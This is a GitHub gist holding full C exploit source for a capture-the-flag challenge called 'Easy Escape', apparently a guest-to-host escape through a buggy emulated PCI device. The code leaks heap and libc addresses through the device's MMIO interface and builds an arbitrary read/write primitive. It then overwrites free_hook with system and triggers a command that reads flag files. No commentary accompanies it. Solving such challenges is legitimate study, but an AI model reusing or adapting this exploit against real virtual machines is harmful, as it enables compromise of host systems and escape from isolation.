Skip to content

Instantly share code, notes, and snippets.

@d4em0n
Created January 11, 2021 02:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save d4em0n/c74077d22b9cc09d7904c5023cd747f7 to your computer and use it in GitHub Desktop.
Save d4em0n/c74077d22b9cc09d7904c5023cd747f7 to your computer and use it in GitHub Desktop.
Real World 3rd CTF: Easy Escape
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdint.h>
#include <assert.h>
#include <stdint.h>
#define DEV_ADDR 0xfebf1000
#define DEV_SIZE 4096
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
unsigned char* buf_map;
unsigned char* mmio_mem = NULL;
int fd;
int fdpage;
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fdpage, offset, SEEK_SET);
read(fdpage, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
void* devmap( size_t offset, size_t size)
{
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_FILE|MAP_SHARED, fd, offset );
if ( result == (void*)(-1) ) {
perror( "mmap" );
}
return result;
}
void writeb(unsigned char* mem, int idx, unsigned char val) {
mem[idx] = val;
}
void writew(unsigned char* mem, int idx, unsigned short val) {
*((unsigned short*)&mem[idx]) = val;
}
void writel(unsigned char* mem, int idx, unsigned int val) {
*((unsigned int*)&mem[idx]) = val;
}
void writeq(unsigned char* mem, int idx, unsigned long val) {
*((unsigned long*)&mem[idx]) = val;
}
unsigned char readb(unsigned char* mem, int idx) {
return mem[idx];
}
unsigned short readw(unsigned char* mem, int idx) {
return *((unsigned short*)&mem[idx]);
}
unsigned int readl(unsigned char* mem, int idx) {
return *((unsigned int*)&mem[idx]);
}
unsigned long readq(unsigned char* mem, int idx) {
return *((unsigned long*)&mem[idx]);
}
void set_size(uint32_t size) {
writel(mmio_mem, 0, size);
}
void set_addr(uint32_t addr) {
writel(mmio_mem, 4, addr);
}
void set_result_addr(uint32_t result_addr) {
writel(mmio_mem, 8, result_addr);
}
void set_idx(uint32_t idx) {
writel(mmio_mem, 0xc, idx);
}
void do_data_write() {
writel(mmio_mem, 0x10, 0);
}
void do_create() {
writel(mmio_mem, 0x14, 0);
}
void do_delete() {
writel(mmio_mem, 0x18, 0);
}
void do_data_read() {
readl(mmio_mem, 0x10);
}
void set_ptr(unsigned long ptr) {
int idx = 3;
set_idx(idx);
writeq(&buf_map[idx*0x400], 8, ptr);
do_data_write();
}
unsigned long read64(unsigned long addr) {
set_ptr(addr);
set_idx(0);
do_data_read();
return readq(buf_map, 0);
}
void write64(unsigned long addr, unsigned long value) {
set_ptr(addr);
set_idx(0);
do_data_read();
writeq(buf_map, 0, value);
do_data_write();
}
int main(void) {
char* filename = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
unsigned long heap_leak = 0;
unsigned long tcache_base = 0;
unsigned long buf0 = 0;
uint32_t size;
fdpage = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
int mmio_fd = open(filename, O_RDWR | O_SYNC);
if (mmio_fd == -1)
perror("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
perror("mmap mmio_mem failed");
buf_map = mmap(0, 0x20000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
writeq(buf_map, 0, 0x4141414141414141);
if (buf_map == MAP_FAILED)
perror("mmap buf_map failed");
printf("[+] MMAP the device at %p\n", mmio_mem);
int max_idx = 0x3;
int idx = 1;
set_size(0x400*max_idx);
set_result_addr(DEV_ADDR+0x18);
set_addr((uint32_t)gva_to_gpa(buf_map));
set_idx(idx);
do_create();
do_data_read();
tcache_base = readq(&buf_map[idx*0x400], 8);
printf("[+] tcache base found %p\n", tcache_base);
idx = 1;
set_result_addr(buf_map+0x1fc00);
set_size(0x400*max_idx);
do_create();
set_idx(0);
do_data_read();
buf0 = readq(buf_map, 0x0);
printf("[+] buf1 leak: %p\n", buf0);
max_idx = 0x3;
idx = 0;
set_size(0x400*max_idx);
set_addr((uint32_t)gva_to_gpa(buf_map));
set_idx(idx);
set_result_addr(DEV_ADDR+0x18);
do_data_read();
heap_leak = readq(&buf_map[idx*0x400], 0x278);
// for(int i=0;i<128;i++) {
// printf("[%d] = %p\n", i*8,readq(&buf_map[idx*0x400], i*8));
// }
printf("[+] req addr leak: %p\n", heap_leak);
idx = 1;
writeq(&buf_map[idx*0x400], 0, heap_leak);
writeq(&buf_map[idx*0x400], 8, tcache_base);
max_idx = 0x3;
set_size(0x400*max_idx);
set_addr((uint32_t)gva_to_gpa(buf_map));
set_idx(idx);
set_result_addr(DEV_ADDR+0x18);
do_create();
do_data_write();
// printf("next");
// getchar();
//
printf("[+] Building arbitrary read write..\n");
max_idx = 0x3;
idx = 3;
set_size(0x400*max_idx);
set_addr((uint32_t)gva_to_gpa(buf_map));
set_idx(idx);
set_result_addr(buf_map+0x1fc00);
do_create();
do_data_read();
printf("[+] Got arbitrary read write!\n");
unsigned long next_arena = tcache_base-0x40;
unsigned long next_arena2, main_arena, libc_base, system_addr, free_hook;
next_arena2 = read64(next_arena);
printf("next_arena2 = %p\n", next_arena2);
main_arena = read64(next_arena2+0x870);
printf("main_arena = %p\n", main_arena);
libc_base = main_arena-2014080;
printf("libc_base = %p\n", libc_base);
system_addr = libc_base+349200;
printf("system_addr = %p\n", system_addr);
free_hook = libc_base+2026280;
printf("free_hook = %p\n", free_hook);
strcpy(&buf_map[1*0x400], "cat flag*; cat /flag*; cat /home/*/flag*");
set_idx(1);
do_data_write();
write64(free_hook, system_addr);
printf("Overwriting free_hook with system.. done\n");
printf("Triggerring free\n");
do_delete();
printf("done");
getchar();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment